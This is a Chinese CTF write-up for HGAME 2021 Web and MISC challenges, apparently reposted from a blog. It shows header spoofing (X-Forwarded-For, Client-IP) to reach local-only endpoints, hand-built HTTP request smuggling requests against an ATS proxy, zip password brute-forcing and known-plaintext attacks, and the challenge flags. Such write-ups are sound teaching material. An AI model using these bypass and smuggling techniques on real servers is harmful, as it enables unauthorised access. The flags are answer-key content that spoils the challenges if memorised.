目錄
- Web
- Hitchhiking_in_the_Galaxy
- watermelon
- 寶藏走私者
- 智商檢測雞
- 走私者的憤怒
- MISC
- Base全家福
- 不起眼壓縮包的養成的方法
- Galaxy
- Word REMASTER
Web
Hitchhiking_in_the_Galaxy
訪問頁面,提示“我要搭順風車!”,打開burpsuite抓包重放,提示405
將GET方法改為POST方法重放,提示“只有使用"無限非概率引擎"(Infinite Improbability Drive)才能訪問這里~”
修改User-agent頭為:Infinite Improbability Drive
再次重放,提示“特別要求:你得從他的<a href="https://cardinal.ink/">Cardinal</a>過來”

修改Referer為:https://cardinal.ink/
再次重放,提示“flag僅能通過本地訪問獲得”
新增X-forwarded-for欄位,值為127.0.0.1,拿到flag
hgame{s3Cret_0f_HitCHhiking_in_the_GAl@xy_i5_dOnT_p@nic!}
watermelon
結束一次游戲,發現大于2000分才會回傳flag,在project.js中搜索1999,有一個判斷,會alert一個字串

用base64解碼:aGdhbWV7ZG9feW91X2tub3dfY29jb3NfZ2FtZT99
得到flag:hgame{do_you_know_cocos_game?}
另附一個有意思的分析:https://www.zhihu.com/question/440727080/answer/1699641717
寶藏走私者
訪問題目,提示SECRET_DATA只能本地訪問

點擊超鏈接跳轉到/secret,發現回應包中提示需要client-ip頭

將client-ip改為127.0.0.1,發現也不可以,猜測是反代會將真實ip帶到后面,同時可以看到服務是ATS/7.1.2,可以聯想到HTTP走私

想要詳細了解http走私的可以參考文章:
https://regilero.github.io/english/security/2019/10/17/security_apache_traffic_server_http_smuggling/#toc7
和
https://paper.seebug.org/1048/#511-te-cl
同時也可以了解一下分塊傳輸格式:

使用文章中的不同方法構造http走私請求包

方法一(三個圖以示區分,可以自行嘗試):



方法二:

方法三:

智商檢測雞
發現都是ax+b的定積分,使用sympy庫寫一個爬蟲腳本
腳本如下:
from lxml import etree
from sympy import *
import requests
import json
s = requests.session()
step: int = 0
while true:
q = s.get('http://r4u.top:5000/api/getQuestion')
q = json.loads(q.text)['question']
q = etree.HTML(q)
a = q.xpath('//math/mrow/msubsup/mrow[1]/mo/text()')[0]
b = q.xpath('//math/mrow/msubsup/mrow[1]/mn/text()')[0]
c = q.xpath('//math/mrow/msubsup/mrow[2]/mn/text()')[0]
d = q.xpath('//math/mrow/mn[1]/text()')[0]
e = q.xpath('//math/mrow/mn[2]/text()')[0]
x = symbols('x')
x = integrate(int(d) * x + int(e), (x, int(a + b), int(c)))
x = round(x, 2)
header = {
"Content-Type": "application/json;charset=UTF-8"
}
res = s.post('http://r4u.top:5000/api/verify', data='{"answer":' + (daan := str(round(x, 2))) + '}', headers=header)
step += 1
print(step, a, b, c, d, e, daan, json.loads(res.text)["result"])
if step == 100:
flag = s.get('http://r4u.top:5000/api/getFlag')
flag = json.loads(flag.text)
print("flag:", flag["flag"])
break
走私者的憤怒
同樣也是http走私,嘗試上面那題的一樣的包,提示狀態碼400,發現一個請求中不能有兩個Host
并且他會自動添加Client-IP,此時發送的第二個請求會變為
GET /secret HTTP/1.1
Client-IP:127.0.0.1
foo:GET / HTTP/1.1
Host: police.liki.link
Content-Length : 47
Client-IP: 你的真實ip
后面的Client-IP會覆寫前面的,就會回顯你的真實ip,所以需要這樣構造請求

這時候發送的第二個請求拼接完會變為,后面全變成了請求體
GET /secret HTTP/1.1
Host: police.liki.link
client-ip: 127.0.0.1
Content-Length:200
GET / HTTP/1.1
Host: police.liki.link
Content-Length : 90
GET /secret HTTP/1.1
Host: police.liki.link
client-ip: 127.0.0.1
Content-Length:200
拿到flag
hgame{Fe3l^tHe~4N9eR+oF_5mu9gl3r!!}
MISC
Base全家福
base64:
R1k0RE1OWldHRTNFSU5SVkc1QkRLTlpXR1VaVENOUlRHTVlETVJCV0dVMlVNTlpVR01ZREtSUlVIQTJET01aVUdSQ0RHTVpWSVlaVEVNWlFHTVpER01KWElRPT09PT09
base32:
GY4DMNZWGE3EINRVG5BDKNZWGUZTCNRTGMYDMRBWGU2UMNZUGMYDKRRUHA2DOMZUGRCDGMZVIYZTEMZQGMZDGMJXIQ======
from hex:
6867616D657B57653163306D655F74305F4847344D335F323032317D
flag:
hgame{We1c0me_t0_HG4M3_2021}
不起眼壓縮包的養成的方法
binwalk -e 0x4qE_bba7407dbadcd35fd0915ffdac4b74c5.jpg 分離圖片中的zip
發現壓縮包需要輸入密碼,以圖搜圖或直接用ARCHPR爆破8位數字解開,密碼為:70415155
發現里面又套了一個加密plain.zip壓縮包,并且有明文NO PASSWORD.txt檔案,在加密的plain.zip里也存在一個NO PASSWORD.txt,且CRC32相同,可以聯想到已知明文攻擊,將明文NO PASSWORD.txt單獨壓縮成NO PASSWORD.zip,壓縮方式如圖

回到ARCHPR選擇已知明文攻擊,拿到密碼:C8uvP$DP

解壓出flag.zip,發現是偽加密,用010editor打開,距檔案頭50 4B 03 04的偏移為6個位元組的09改為00,距核心目錄區頭50 4B 01 02的偏移為8個位元組的01改為00,即可打開

將flag.txt放到010editor中,發現為HTML物體編碼,解碼拿到flag

hgame{2IP_is_Usefu1_and_Me9umi_i5_W0r1d}
Galaxy
Wireshark匯出http物件,可以見到一個galaxy.png,修改高度(藍色位置),flag就出現了


Word REMASTER
拿到壓縮包,用7zip打開first.docx(或者直接修改后綴為.zip打開),在word目錄下存在password.xml,可以聯想到為brainfuck編碼
解碼工具:https://www.splitbrain.org/services/ook

解碼后得到maimai.docx的密碼DOYOUKNOWHIDDEN?
打開word,勾選檔案-選項-顯示-隱藏文字,發現了一段由tab和空格組成的內容,將其框選-右鍵-字體,取消勾選隱藏


將其復制到編輯器內(圖省事直接扔到vscode里保存為target.c了)
使用stegsnow工具解出flag
hgame{Cha11en9e_Whit3_P4ND0R4_P4R4D0XXX}
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/257870.html
標籤:其他
